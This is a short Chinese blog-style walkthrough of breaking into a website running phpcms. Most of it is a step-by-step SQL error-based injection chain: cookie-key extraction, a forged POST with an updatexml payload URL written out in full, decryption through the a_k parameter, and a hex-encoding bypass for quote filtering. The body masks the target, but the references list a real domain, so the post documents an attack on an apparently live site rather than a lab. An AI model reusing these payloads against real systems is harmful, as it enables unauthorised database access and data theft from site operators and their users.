某 cms 网站渗透的过程
1.通过 fofa 查询出该网站的后台,进去发现很像某 cms,利用御剑的 cms 识别工具识别出对方是 phpcms 的站。
2.通过百度查询得出:该 phpcms 站点可能存在文件上传,敏感信息泄露,sql 报错注入。我只验证出来了 sql 报错注入。
3.把这几个链接转发到 burp 的重放器:
1.1:
http://xxxxxx.com.cn/index.php?m=wap&c=index&a=init&siteid=1[1]
获取 Set-Cookie: aOqWU_siteid 用的。
1.2:
http://xxxxxx.com.cn/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=[2]
sql 报错注入转换为 Set-Cookie:aOqWU_att_json 用的。
1.3:
http://xxxxxx.com.cn/index.php?m=content&c=down&a_k=[3]
解密传输用的。
4.第一个 1.1 的链接发送 go 得到 Set-Cookie: aOqWU_siteid 的 key。
5.把获取的的 key 复制到 1.2 链接最下面,伪造数据为:userid_flash=5608UgJVA1RVCARVBVdSVQRRVgwOAgFUWgMFBgYF,把 GET 请求改为 POST 请求。
6.构造 url 链接为 sql 报错注入链接:/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28%28select database()%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26&XDEBUG_SESSION_START=PHPSTORM
点击 go,即可得到加密后的 SQL 了,其实 sql 语句可以不用 url 编码的只是一段复制下来的。
7.复制那段去 1.3 链接后面加上就可以解密执行 sql 语句了,a_k=aOqWU_att_json 的 key。
8.到后面的话因为过滤了'里面的内容'用 16 进制绕过就好。
References
[1] http://xxxxxx.com.cn/index.php?m=wap&c=index&a=init&siteid=1: http://portal.teacherclub.com.cn/index.php?a=init&c=index&m=wap&siteid=1[2] http://xxxxxx.com.cn/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=: http://portal.teacherclub.com.cn/index.php?a=swfupload_json&aid=1&c=attachments&m=attachment&src=%26id%3D[3] http://xxxxxx.com.cn/index.php?m=content&c=down&a_k=: http://portal.teacherclub.com.cn/index.php?a_k=&c=down&m=content
评论